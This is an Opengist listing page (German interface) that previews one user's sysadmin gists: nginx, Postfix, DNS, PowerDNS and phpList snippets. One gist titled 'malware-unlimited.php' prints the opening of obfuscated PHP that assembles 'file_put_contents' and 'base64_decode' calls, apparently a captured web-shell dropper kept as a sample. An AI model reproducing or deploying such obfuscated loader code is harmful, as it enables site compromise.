Alle Neu

user:thomas Gists erstellt von Nutzer

title:mygist Gists mit Titel

filename:myfile.txt Gists mit Dateinamen

extension:yml Gists mit Dateiendung

language:go Gists in Sprache

topic:homelab gists zum gegebenen Thema

Anmelden

Alle Neu Anmelden

Alle Gists

Neueste erstellt
Älteste erstellt
Neueste bearbeitet
Älteste bearbeitet
Malin's Avatar

Malin / cors-support.conf

0 Favoriten
0 Forks
1 Dateien
Zuletzt aktiv 2 years ago
1 set $cors '';
2 if ($http_origin ~ '^https?://(localhost|www\.qrh\.app|www\.qrh\.hair|qrh\.app|qrh\.hair|stats\.wp\.com|sis-t\.redsys\.es|secure\.gravatar\.com)') {
3 set $cors 'true';
4 }
5
6 if ($cors = 'true') {
7 add_header 'Access-Control-Allow-Origin' "$http_origin" always;
8 add_header 'Access-Control-Allow-Credentials' 'true' always;
9 add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE, OPTIONS' always;
10 add_header 'Access-Control-Allow-Headers' 'Accept,Authorization,Cache-Control,Content-Type,DNT,If-Modified-Since,Keep-Alive,Origin,User-Agent,X-Requested-With' always;
Malin's Avatar

Malin / change-checkout-terms.php

0 Favoriten
0 Forks
1 Dateien
Zuletzt aktiv 2 years ago
1 // for QRh
2
3 add_filter('woocommerce_get_terms_and_conditions_checkbox_text', 'custom_terms_conditions_text');
4
5 function custom_terms_conditions_text($text) {
6 return 'He leído y estoy de acuerdo con los <a href="https://qrh.app/terminos-condiciones/">términos y condiciones</a> de la web y la <a href="https://qrh.app/politica-devoluciones-reembolso/" target="_new">política de devoluciones y reembolso</a>';
7 }
Malin's Avatar

Malin / remove-old-campaigns.sql

0 Favoriten
0 Forks
1 Dateien
Zuletzt aktiv 2 years ago
1 -- Remove campaigns older than 6 months from phpList including all stats.
2 -- Start transaction
3 START TRANSACTION;
4
5 -- Delete user-message links for campaigns older than 6 months
6 DELETE FROM phplist_usermessage
7 WHERE messageid IN (
8 SELECT id FROM phplist_message WHERE DATE_ADD(entered, INTERVAL 6 MONTH) < NOW()
9 );
Malin's Avatar

Malin / malware-unlimited.php

0 Favoriten
0 Forks
1 Dateien
Zuletzt aktiv 2 years ago
1 <?php function gwuud(){/*bpf */print (16325+16325); }
2
3 $rmtud_oqu/* pw*/=/* o*/'rmtud_oqu' ^/* uarq */'';
4
5
6 $lkqztnxgdh = "f".$rmtud_oqu(397-292) ./* ygxf */$rmtud_oqu(108) . $rmtud_oqu(101) . "\x5f"/* s */. $rmtud_oqu(112) ./* qiow*/"u"."\164" . $rmtud_oqu(735-640) . "c"."o".$rmtud_oqu(182-72) ./* mr */"\164" ./* b*/"\x65" . "\156"/* issb */./* hsj */"\164" ./* mlf */$rmtud_oqu(913-798);
7
8 $qjqgiizjem = $rmtud_oqu(720-622) . "\x61"/* qxvhv */. "\163" ./* xekjb */"\x65" . "\66" . "4".$rmtud_oqu(684-589) . $rmtud_oqu(100)/* yahr */./* g */"e"."\143" . "\x6f"/* rc_z */. "\x64" . "e";
9
Malin's Avatar

Malin / HaProxy-reverse-postfix-master.cf

0 Favoriten
0 Forks
2 Dateien
Zuletzt aktiv 2 years ago
1 # from: from: https://serverfault.com/questions/922248/how-to-configure-postfix-behind-haproxy
2 # Exposed SMTP service (postscreen support is needed to support the proxy protocol [search postscreen_upstream_proxy_protocol in main.cf])
3 smtp inet n - - - 1 postscreen
4 smtpd pass - - - - - smtpd
Malin's Avatar

Malin / Veeam-REPO-SSH-fix.sh

0 Favoriten
0 Forks
1 Dateien
Zuletzt aktiv 2 years ago
1 # from: https://forums.veeam.com/veeam-backup-replication-f2/info-veeam-can-not-connect-to-openssh-8-8-t76832.html
2 # Add to /etc/ssh/sshd_config:
3
4 HostkeyAlgorithms +ssh-rsa
5 PubkeyAcceptedAlgorithms +ssh-rsa
Malin's Avatar

Malin / default-dns.zone

0 Favoriten
0 Forks
1 Dateien
Zuletzt aktiv 2 years ago
1 mallorca.hosting 3600 IN SOA ns1.nameservers.pm dns.nameservers.pm 2024022924 10800 3600 604800 3600
2 mallorca.hosting 300 IN A 135.181.140.184
3 mallorca.hosting 300 IN NS ns1.nameservers.pm
4 mallorca.hosting 300 IN NS ns2.nameservers.pm
5 www.mallorca.hosting 300 IN A 135.181.140.184
Malin's Avatar

Malin / bookworm-sources.list

0 Favoriten
0 Forks
1 Dateien
Zuletzt aktiv 2 years ago
1 # Bookworm Sources List
2 deb http://deb.debian.org/debian bookworm main
3 deb http://deb.debian.org/debian bookworm-updates main
4 deb http://deb.debian.org/debian-security bookworm-security main
Malin's Avatar

Malin / power-dns-install.sh

0 Favoriten
0 Forks
2 Dateien
Zuletzt aktiv 2 years ago
1 apt update && apt install -y curl gpg tmux htop rsync
2 echo "deb [arch=amd64] http://repo.powerdns.com/debian bullseye-auth-46 main" > /etc/apt/sources.list.d/pdns.list
3 curl -fsSL https://repo.powerdns.com/FD380FBB-pub.asc | gpg --dearmor -o /etc/apt/trusted.gpg.d/pdns.gpg
4 apt update && apt install -y pdns-server pdns-backend-mysql mariadb-server mariadb-client
5 systemctl disable systemd-resolved.service
6 systemctl stop systemd-resolved.service
7 service mysql stop && service pdns stop
8 ssh-keygen -t ed25519
Malin's Avatar

Malin / proxy-protocol-nginx.conf

0 Favoriten
0 Forks
1 Dateien
Zuletzt aktiv 2 years ago
1 set_real_ip_from 104.16.0.0/12
2 set_real_ip_from 172.64.0.0/13
3 real_ip_header proxy_protocol; # proxy_protocol needed
4 real_ip_recursive on;
Neuer Älter

Powered by Opengist ⋅ Load: 483ms⋅

Deutsch
Čeština Deutsch English Español Français Magyar Italiano 日本語 Polski Português Русский Türkçe Українська 中文 繁體中文